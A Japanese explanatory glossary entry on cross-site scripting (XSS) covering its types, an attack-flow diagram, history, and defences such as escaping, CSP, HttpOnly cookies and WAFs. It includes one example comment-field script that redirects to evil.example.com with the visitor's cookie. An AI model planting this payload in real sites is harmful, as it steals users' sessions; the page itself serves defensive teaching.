// シス担のミカタ
Webアプリケーション攻撃

XSS（クロスサイトスクリプティング） くろすさいとすくりぷてぃんぐ

クロスサイトスクリプティングスクリプトインジェクションセキュリティ脆弱性Cookie窃取サニタイジングCSP
XSSについて教えて

簡単に言うとこんな感じ！

悪意ある人が「Webサイトの掲示板やフォーム」に罠スクリプトを仕込んで、そのページを見た別のユーザーのブラウザで勝手にプログラムを動かす攻撃だよ。訪問者のログイン情報やクッキーを盗んだり、偽のフォームを表示させたりできちゃうんだ！

XSS（クロスサイトスクリプティング）とは

XSS（Cross-Site Scripting）とは、WebアプリケーションのHTMLやJavaScriptの出力処理に潜む脆弱性を悪用した攻撃手法です。攻撃者が悪意あるスクリプト（JavaScriptなど）をWebページに埋め込み、そのページを閲覧した別のユーザーのブラウザ上でスクリプトを実行させます。略称は「CSS」とするとスタイルシートと混同するため「XSS」と表記します。

被害は多岐にわたり、セッションCookieの窃取によるなりすましログイン、フィッシング用の偽フォーム表示、マルウェアの配布など、ユーザーに直接損害を与えます。攻撃対象はWebサーバーではなく「Webサイトを訪れた一般ユーザー」であるため、「サイトを信頼して開いているユーザー」が被害を受けるという厄介さがあります。

OWASPが毎年公表するWebアプリ脆弱性ランキング「OWASP Top 10」に長年ランクインしており、世界中で実被害が報告されている現実的な脅威です。

XSSの種類と仕組み

3つの主要タイプ

タイプ別名概要特徴
反射型（Reflected）非持続型URLに埋めた悪意あるスクリプトが、サーバーに「反射」されてそのままページに出力されるメール・SNSの罠リンクと組み合わせて使われる
蓄積型（Stored）持続型スクリプトをデータベースに保存させ、ページを開いた全員が被害を受ける掲示板・コメント欄・SNS投稿が標的になる
DOMベース型DOM-basedサーバーを介さずブラウザ内のJavaScriptがDOM操作の際に悪意あるデータを展開する開発者が見落としやすく検出が難しい

攻撃の流れ（蓄積型の例）

攻撃者                  Webサーバー               被害ユーザー
  |                         |                          |
  |--[悪意あるスクリプト投稿]-->|                          |
  |   <script>悪意あるJS</script>                        |
  |                    [DBに保存]                        |
  |                         |<----[ページ閲覧リクエスト]---|
  |                         |---[スクリプト入りHTML送信]-->|
  |                         |             [ブラウザで実行！]|
  |<========[Cookie・セッション情報が攻撃者へ送信]=========|

攻撃者が実際に仕込むコードの例

<!-- 掲示板のコメント欄に投稿された悪意あるコード -->
こんにちは！<script>
  document.location='https://evil.example.com/steal?c='+document.cookie;
</script>よろしくお願いします。

歴史と背景

  • 1990年代後半 — JavaScriptの普及とともにWebアプリケーションが動的化。ユーザー入力をHTMLに出力する仕組みが生まれる
  • 2000年 — MicrosoftがXSSという呼称を正式に使い始め、セキュリティ勧告を公開。「クロスサイト」の名は「別サイトへのリクエストを横断させる」初期の攻撃手法に由来する
  • 2003年 — OWASPが設立され、XSSをWebアプリ脆弱性の主要項目として定義・啓発活動開始
  • 2005年 — MySpaceでワーム「Samy」が蓄積型XSSにより100万アカウントを感染させる大規模事件が発生
  • 2010年頃〜 — モバイル・SNSの普及でXSSの攻撃面が拡大。DOMベース型が注目される
  • 2021年 — OWASP Top 10にて「Injection」カテゴリにXSSが統合されるも、依然として高リスク扱い
  • 現在 — フレームワーク（React・Vueなど）の自動エスケープ機能や、ブラウザのCSP対応により軽減されつつも、設定ミスや古いシステムでの被害が継続

対策とXSSを防ぐ技術

XSS対策レイヤー ① 入力値の検証 （サーバーサイド） 入力文字の種類・長さを サーバーで事前チェック ホワイトリスト方式で 許可する形式のみ受付 HTMLタグ・特殊文字は 受け付けない設計に ② 出力時エスケープ （サニタイジング） < → &lt; > → &gt; に変換 フレームワークの 自動エスケープを活用 innerHTML より textContent を使う ③ ブラウザ側対策 （HTTP ヘッダー） CSP ヘッダーで 実行JSの出所を制限 HttpOnly 属性で CookieをJS非公開に X-XSS-Protection で ブラウザフィルター有効 ④ WAF（Webアプリケーションファイアウォール）で既知の攻撃パターンを自動ブロック 入力層・出力層・ブラウザ層の「多層防御」が基本

主要な対策技術の詳細

対策略称効果
コンテンツセキュリティポリシーCSPHTTPヘッダーで「どのドメインのJSのみ実行可」を宣言。外部スクリプトをブロック
HttpOnly Cookie—JavaScriptからCookieを読み取れなくし、Cookie窃取を防ぐ
サニタイジング—<→&lt;のようにHTMLの特殊文字を無害な文字列に変換して出力
WAFWeb Application Firewall既知のXSSパターンを通信レベルで検出・ブロック
SameSite Cookie—外部サイトからのリクエストにCookieを付与しない設定

発注・調達時のチェックポイント

✅ フレームワークの自動エスケープが有効か確認する
✅ 入力フォームのサニタイジング仕様が設計書に明記されているか
✅ CSPヘッダーの設定値をレビューする
✅ ペネトレーションテスト（脆弱性診断）の実施を契約に含める
✅ CookieにHttpOnly・Secure属性が付与されているか確認する

関連する規格・RFC

規格・文書内容
OWASP Top 10XSSを含むWebアプリ脆弱性上位10件の解説・対策ガイド（最新版：2021年）
CWE-79XSSに割り当てられたCommon Weakness Enumeration番号。脆弱性分類の標準ID
RFC 6265HTTPのCookieを定義するRFC。HttpOnly・Secure属性の仕様を規定
CSP Level 3W3Cが策定するContent Security Policyの仕様。XSS対策の中心的な仕組み
IPA セキュア設計ガイド情報処理推進機構による日本語の安全なWebアプリ設計指針。XSS対策を収録

関連用語